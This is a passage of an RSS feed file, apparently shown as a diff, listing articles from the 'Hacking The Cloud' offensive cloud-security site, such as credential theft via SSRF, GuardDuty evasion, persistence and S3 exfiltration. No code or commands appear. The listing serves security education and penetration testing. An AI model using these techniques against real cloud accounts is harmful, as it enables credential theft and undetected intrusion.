isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png" type="image/png" length="209761" /> </item> <item> <title>Introduction to the Instance Metadata Service</title> <description>An introduction to the Instance Metadata Service and how to access it.</description><link>https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/</link> <pubDate>Sun, 20 Dec 2020 20:10:43 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png" type="image/png" length="212131" /> </item> <item> <title>Introduction to User Data</title> <description>An introduction to EC2 User Data and how to access it.</description><link>https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/</link> <pubDate>Sun, 20 Dec 2020 20:10:43 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png" type="image/png" length="203569" /> </item> <item> <title>Brute Force IAM Permissions</title> <description>Brute force the IAM permissions of a user or role to see what you have access to.</description><link>https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/</link> <pubDate>Sun, 20 Dec 2020 18:58:26 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png" type="image/png" length="208895" /> </item> <item> <title>Get Account ID from AWS Access Keys</title> <description>Techniques to enumerate the account ID associated with an AWS access key.</description><link>https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/</link> <pubDate>Sun, 27 Sep 2020 16:06:37 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png" type="image/png" length="213854" /> </item> <item> <title>Whoami - Get Principal Name From Keys</title> <description>During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.</description><link>https://hackingthe.cloud/aws/enumeration/whoami/</link> <pubDate>Fri, 21 Aug 2020 17:00:02 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/whoami/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png" type="image/png" length="215802" /> </item> <item> <title>Steal IAM Credentials and Event Data from Lambda</title> <description>Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.</description><link>https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/</link> <pubDate>Wed, 12 Aug 2020 23:15:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png" type="image/png" length="218855" /> </item> <item> <title>Unauthenticated Enumeration of IAM Users and Roles</title> <description>Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.</description><link>https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/</link> <pubDate>Wed, 05 Aug 2020 14:32:32 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png" type="image/png" length="226680" /> </item> <item> <title>Steal EC2 Metadata Credentials via SSRF</title> <description>Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.</description><link>https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/</link> <pubDate>Sat, 01 Aug 2020 17:43:14 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png" type="image/png" length="215994" /> </item> <item> <title>Connection Tracking</title> <description>Abuse security group connection tracking to maintain persistence even when security group rules are changed.</description><link>https://hackingthe.cloud/aws/general-knowledge/connection-tracking/</link> <pubDate>Thu, 30 Jul 2020 23:28:52 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/connection-tracking/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png" type="image/png" length="209478" /> </item> <item> <title>IAM unique identifiers</title> <description>Chart of the IAM unique ID prefixes.</description><link>https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/</link> <pubDate>Mon, 27 Jul 2020 19:47:46 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png" type="image/png" length="195927" /> </item> <item> <title>Bypass GuardDuty Pentest Findings for the AWS CLI</title> <description>Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.</description><link>https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/</link> <pubDate>Wed, 22 Jul 2020 02:58:24 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png" type="image/png" length="228148" /> </item> <item> <title>Bypass Credential Exfiltration Detection</title> <description>When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.</description><link>https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/</link> <pubDate>Wed, 22 Jul 2020 02:58:24 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png" type="image/png" length="218312" /> </item> </channel></rss>
\ No newline at end of file
+<?xml version="1.0" encoding="UTF-8" ?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel><title>Hacking The Cloud</title><description>The encyclopedia for offensive security in the cloud.</description><link>https://hackingthe.cloud/</link><atom:link href="https://hackingthe.cloud/feed_rss_created.xml" rel="self" type="application/rss+xml" /><docs>https://github.com/Hacking-the-Cloud/hackingthe.cloud</docs><language>en</language> <pubDate>Thu, 05 Dec 2024 19:50:34 -0000</pubDate> <lastBuildDate>Thu, 05 Dec 2024 19:50:34 -0000</lastBuildDate> <ttl>1440</ttl> <generator>MkDocs RSS plugin - v1.17.0</generator> <image> <url>None</url> <title>Hacking The Cloud</title><link>https://hackingthe.cloud/</link> </image> <item> <title>Exploiting Public AWS Resources Programmatically - The Playbook</title> <description>A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/</link> <pubDate>Thu, 05 Dec 2024 17:37:27 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png" type="image/png" length="0" /> </item> <item> <title>AWS CLI Tips and Tricks</title> <description>A collection of tips and tricks for using the AWS CLI.</description><link>https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/</link> <pubDate>Mon, 04 Nov 2024 03:15:10 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png" type="image/png" length="204919" /> </item> <item> <title>Run Command Abuse</title> <description>Utilise Azure RunCommands for execution and lateral movement.</description><link>https://hackingthe.cloud/azure/run-command-abuse/</link> <pubDate>Sat, 05 Oct 2024 05:04:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/run-command-abuse/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png" type="image/png" length="202340" /> </item> <item> <title>Exploiting Misconfigured GitLab OIDC AWS IAM Roles</title> <description>Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/</link> <pubDate>Sun, 01 Sep 2024 22:46:15 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png" type="image/png" length="0" /> </item> <item> <title>CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios</title> <description>An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/</link> <pubDate>Wed, 31 Jul 2024 20:37:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png" type="image/png" length="232262" /> </item> <item> <title>Prevent Expensive AWS API Actions with SCPs</title> <description>Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.</description><link>https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/</link> <pubDate>Tue, 30 Jul 2024 00:15:57 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png" type="image/png" length="218462" /> </item> <item> <title>Enumerate Org/Folder/Project Permissions + Individual Resource Permissions</title> <description>Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)</description><link>https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/</link> <pubDate>Sun, 14 Jul 2024 21:08:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png" type="image/png" length="0" /> </item> <item> <title>Discover secrets in public AMIs</title> <description>How to find public AMIs and get stored secrets.</description><link>https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/</link> <pubDate>Tue, 28 May 2024 16:27:11 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png" type="image/png" length="0" /> </item> <item> <title>Enumerate Root User Email Address from the AWS Console</title> <description>Identify if an email address belongs to the root user of an AWS account.</description><link>https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/</link> <pubDate>Tue, 21 May 2024 20:10:23 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png" type="image/png" length="222164" /> </item> <item> <title>Abusing Misconfigured Role Trust Policies with a Wildcard Principal</title> <description>How to take advantage of misconfigured role trust policies that have wildcard principals.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/</link> <pubDate>Mon, 29 Jan 2024 03:39:38 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png" type="image/png" length="225176" /> </item> <item> <title>EC2 Privilege Escalation Through User Data</title> <description>How to escalate privileges on an EC2 instance by abusing user data.</description><link>https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/</link> <pubDate>Sun, 21 Jan 2024 17:59:06 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png" type="image/png" length="0" /> </item> <item> <title>Bypass Cognito Account Enumeration Controls</title> <description>Leverage a flaw in Cognito&#39;s API to enumerate accounts in User Pools.</description><link>https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/</link> <pubDate>Sun, 07 Jan 2024 21:28:56 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png" type="image/png" length="0" /> </item> <item> <title>DNS and CloudFront Domain Takeover via Deleted S3 Buckets</title> <description>How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.</description><link>https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/</link> <pubDate>Wed, 20 Dec 2023 14:50:27 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png" type="image/png" length="228410" /> </item> <item> <title>2023 Wrap-up</title> <description>An end of year summary for Hacking the Cloud in 2023.</description><link>https://hackingthe.cloud/blog/2023_wrap-up/</link> <pubDate>Wed, 20 Dec 2023 01:25:13 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/2023_wrap-up/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png" type="image/png" length="0" /> </item> <item> <title>Data Exfiltration through S3 Server Access Logs</title> <description>Exfiltrate data via S3:GetObject and S3 server access logs.</description><link>https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</link> <pubDate>Thu, 07 Dec 2023 10:12:13 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png" type="image/png" length="0" /> </item> <item> <title>Derive a Principal ARN from an AWS Unique Identifier</title> <description>How to convert an unique identifier to a principal ARN.</description><link>https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/</link> <pubDate>Mon, 20 Nov 2023 00:54:35 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png" type="image/png" length="211615" /> </item> <item> <title>Survive Access Key Deletion with sts:GetFederationToken</title> <description>Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.</description><link>https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/</link> <pubDate>Mon, 25 Sep 2023 13:24:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png" type="image/png" length="0" /> </item> <item> <title>AWS IAM Persistence Methods</title> <description>A catalog of methods to maintain access to the AWS control plane.</description><link>https://hackingthe.cloud/aws/post_exploitation/iam_persistence/</link> <pubDate>Tue, 01 Aug 2023 01:58:06 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/iam_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png" type="image/png" length="0" /> </item> <item> <title>Download Tools and Exfiltrate Data with the AWS CLI</title> <description>Using the AWS CLI as a LOLScript to download and exfiltrate data.</description><link>https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/</link> <pubDate>Thu, 13 Jul 2023 03:46:27 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png" type="image/png" length="215852" /> </item> <item> <title>Abusing Overpermissioned AWS Cognito Identity Pools</title> <description>How to take advantage of misconfigured Amazon Cognito Identity Pools.</description><link>https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/</link> <pubDate>Tue, 20 Jun 2023 17:26:14 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png" type="image/png" length="0" /> </item> <item> <title>Abusing Unintended Self-Signup in AWS Cognito</title> <description>How to take advantage of misconfigured Amazon Cognito User Pools.</description><link>https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/</link> <pubDate>Tue, 20 Jun 2023 17:26:14 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png" type="image/png" length="0" /> </item> <item> <title>Unauthenticated Enumeration of Azure Active Directory Email Addresses</title> <description>Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.</description><link>https://hackingthe.cloud/azure/enum_email_addresses/</link> <pubDate>Tue, 11 Apr 2023 13:31:32 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/enum_email_addresses/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png" type="image/png" length="226061" /> </item> <item> <title>Unauthenticated Enumeration of Google Workspace Email Addresses</title> <description>Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.</description><link>https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/</link> <pubDate>Tue, 11 Apr 2023 13:31:32 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png" type="image/png" length="0" /> </item> <item> <title>Create a Console Session from IAM Credentials</title> <description>How to use IAM credentials to create an AWS Console session.</description><link>https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/</link> <pubDate>Mon, 20 Feb 2023 16:48:45 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png" type="image/png" length="0" /> </item> <item> <title>S3 Streaming Copy</title> <description>Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment</description><link>https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/</link> <pubDate>Fri, 10 Feb 2023 15:12:48 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png" type="image/png" length="0" /> </item> <item> <title>Exfiltrating S3 Data with Bucket Replication Policies</title> <description>Backdooring S3 buckets with Bucket Replication Policies.</description><link>https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/</link> <pubDate>Thu, 26 Jan 2023 01:02:06 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png" type="image/png" length="0" /> </item> <item> <title>2022 Wrap-up</title> <description>An end of year summary for Hacking the Cloud in 2022.</description><link>https://hackingthe.cloud/blog/2022_wrap-up/</link> <pubDate>Wed, 14 Dec 2022 03:27:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/2022_wrap-up/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png" type="image/png" length="0" /> </item> <item> <title>Loot Public EBS Snapshots</title> <description>How to find and take advantage of exposed EBS snapshots.</description><link>https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/</link> <pubDate>Mon, 05 Dec 2022 02:08:42 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png" type="image/png" length="201950" /> </item> <item> <title>Misconfigured Resource-Based Policies</title> <description>Common misconfigurations of resource-based policies and how they can be abused.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/</link> <pubDate>Thu, 24 Nov 2022 22:14:38 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png" type="image/png" length="0" /> </item> <item> <title>Abusing Misconfigured ECR Resource Policies</title> <description>How to take advantage of misconfigured AWS ECR private repositories.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/</link> <pubDate>Thu, 24 Nov 2022 22:14:38 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png" type="image/png" length="0" /> </item> <item> <title>AWS Organizations Defaults &amp; Pivoting</title> <description>How to abuse AWS Organizations&#39; default behavior and lateral movement capabilities.</description><link>https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/</link> <pubDate>Sat, 05 Nov 2022 00:02:54 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png" type="image/png" length="0" /> </item> <item> <title>Abusing Elastic Container Registry for Lateral Movement</title> <description>With ECR permissions you can easily distribute a backdoor to production servers, developer&#39;s laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.</description><link>https://hackingthe.cloud/aws/exploitation/abusing-container-registry/</link> <pubDate>Thu, 13 Oct 2022 01:37:41 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/abusing-container-registry/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png" type="image/png" length="235716" /> </item> <item> <title>Hacking The Cloud v2: New Look</title> <description>All about the new look for Hacking The Cloud v2.</description><link>https://hackingthe.cloud/blog/v2_new_look/</link> <pubDate>Sun, 18 Sep 2022 21:18:30 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/v2_new_look/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png" type="image/png" length="0" /> </item> <item> <title>GCP Goat</title> <description>GCP Goat is the Vulnerable application for learning the GCP Security</description><link>https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/</link> <pubDate>Mon, 29 Aug 2022 00:18:19 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png" type="image/png" length="0" /> </item> <item> <title>Thunder CTF</title> <description>GCP themed CTF</description><link>https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/</link> <pubDate>Mon, 29 Aug 2022 00:18:19 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png" type="image/png" length="0" /> </item> <item> <title>Hunting GCP Buckets</title> <description>How to find valid and invalid GCP Buckets using tools</description><link>https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/</link> <pubDate>Mon, 29 Aug 2022 00:18:19 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png" type="image/png" length="0" /> </item> <item> <title>Privilege Escalation in Google Cloud Platform</title> <description>Privilege escalation techniques for Google Cloud Platform (GCP)</description><link>https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/</link> <pubDate>Wed, 24 Aug 2022 12:25:09 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png" type="image/png" length="0" /> </item> <item> <title>Enumerate Service Account Permissions</title> <description>Brute force the permissions of a service account to see what you have access to.</description><link>https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/</link> <pubDate>Tue, 23 Aug 2022 14:34:53 